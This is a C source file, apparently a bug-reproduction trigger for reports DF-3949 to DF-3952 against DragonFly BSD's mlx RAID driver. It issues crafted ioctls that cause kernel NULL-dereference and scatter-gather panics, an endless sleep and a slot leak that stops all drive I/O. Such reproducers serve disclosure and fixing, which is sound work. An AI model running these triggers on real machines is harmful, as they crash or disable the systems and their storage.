DF-3950 / mlx_ioctl_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | /* mlx_ioctl_trigger.c โ DF-3949/3950/3951/3952 shared trigger skeleton * * Self-contained (structs copied from sys/dev/raid/mlx/mlxio.h so it builds * on any DragonFly userland). Modes: * * nextchild (DF-3949): MLX_DETACH_DRIVE drive0, then MLX_NEXT_CHILD(-1) * -> mlx.c:753 device_get_unit(sc->mlx_sysdrive[0].ms_disk) * with [0].ms_disk == NULL while a later drive is attached * -> device_get_unit(NULL) -> dev->unit on NULL -> panic. * * usercmd (DF-3950): MLX_COMMAND with a controller command that the * firmware never completes -> mlx_wait_command() tsleep loop * with a `count` that is never incremented (mlx.c:1655-1659) * -> thread sleeps forever (signals interrupt each tsleep but * the loop never exits). * * wedge (DF-3951): repeated MLX_COMMAND submissions against a * controller that has stopped taking mailbox writes -> each * mlx_start() failure path (mlx.c:2107) clears mlx_busycmd[slot] * WITHOUT mlx_busycmds-- -> slot-count leak -> every later * mlx_getslot() returns EBUSY -> all I/O on mlx drives fails. * * bigbuf (DF-3952): MLX_COMMAND with mu_datasize chosen so the DMA * map produces more segments than the firmware-reported * me_max_sg (tag allows MLX_NSEG=64 regardless) -> * mlx_setup_dmamap() panic("too many s/g segments") (mlx.c:2010). * * Device is root:operator 0600 (mlx.c:466-468 make_dev) โ operator/root * privilege required for every mode. * * Build: cc -O2 -o mlx_ioctl_trigger mlx_ioctl_trigger.c * Run: ./mlx_ioctl_trigger <mode> [/dev/mlx0] */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* ---- copied verbatim from sys/dev/raid/mlx/mlxio.h ---- */ struct mlx_usercommand { size_t mu_datasize; /* size of databuffer */ void *mu_buf; /* address in userspace of databuffer */ int mu_bufptr; /* offset into command mailbox to place databuffer address */ u_int16_t mu_status; /* command status returned */ u_int8_t mu_command[16]; /* command mailbox contents */ int mu_error; /* result of submission to driver */ }; #define MLX_NEXT_CHILD _IOWR('M', 0, int) #define MLX_RESCAN_DRIVES _IO ('M', 1) #define MLX_DETACH_DRIVE _IOW ('M', 2, int) #define MLX_COMMAND _IOWR('M', 4, struct mlx_usercommand) #define MLX_CMD_DIRECT_CDB 0x04 /* from mlxreg.h */ #define MLX_CMD_FLUSH 0x0a static int opendev(const char *dev) { int fd = open(dev, O_RDWR); if (fd < 0) printf("open(%s): %s (no Mylex DAC960 controller on this " "guest โ hardware-gated trigger)\n", dev, strerror(errno)); return (fd); } static int mode_nextchild(int fd) /* DF-3949 */ { int unit = 0, arg = -1; /* detach system drive 0 while drive 1+ remains attached */ if (ioctl(fd, MLX_DETACH_DRIVE, &unit) != 0) { printf("DETACH_DRIVE(%d): %s (drive must not be open)\n", unit, strerror(errno)); return (1); } /* walk children starting at the beginning: driver derefs * mlx_sysdrive[0].ms_disk which is now NULL -> panic */ printf("issuing MLX_NEXT_CHILD(-1); expect NULL-deref panic in " "device_get_unit (mlx.c:753)\n"); return (ioctl(fd, MLX_NEXT_CHILD, &arg)); } static int mode_usercmd(int fd, u_int8_t cmd0, size_t dsize) /* DF-3950 / DF-3952 */ { struct mlx_usercommand mu; static unsigned char buf[128 * 1024]; memset(&mu, 0, sizeof(mu)); mu.mu_datasize = dsize; mu.mu_buf = buf; mu.mu_bufptr = 8; memset(buf, 0, sizeof(buf)); mu.mu_command[0] = cmd0; /* controller op to (not) complete */ printf("issuing MLX_COMMAND cmd0=0x%02x datasize=%zu\n", cmd0, dsize); return (ioctl(fd, MLX_COMMAND, &mu)); } int main(int argc, char **argv) { const char *dev = argc > 2 ? argv[2] : "/dev/mlx0"; const char *mode = argc > 1 ? argv[1] : "nextchild"; int fd, rc; if ((fd = opendev(dev)) < 0) return (2); if (!strcmp(mode, "nextchild")) /* DF-3949 */ rc = mode_nextchild(fd); else if (!strcmp(mode, "usercmd")) /* DF-3950: never-completing cmd */ rc = mode_usercmd(fd, MLX_CMD_FLUSH, 512); else if (!strcmp(mode, "wedge")) { /* DF-3951: wedge submissions */ int i; for (i = 0; i < 8; i++) mode_usercmd(fd, MLX_CMD_FLUSH, 512); rc = 0; } else if (!strcmp(mode, "bigbuf")) /* DF-3952: >me_max_sg segments */ rc = mode_usercmd(fd, MLX_CMD_DIRECT_CDB, 128 * 1024); else { printf("usage: %s nextchild|usercmd|wedge|bigbuf [/dev/mlxN]\n", argv[0]); rc = 64; } printf("ioctl rc=%d errno=%d\n", rc, errno); close(fd); return (rc == 0 ? 0 : 1); } |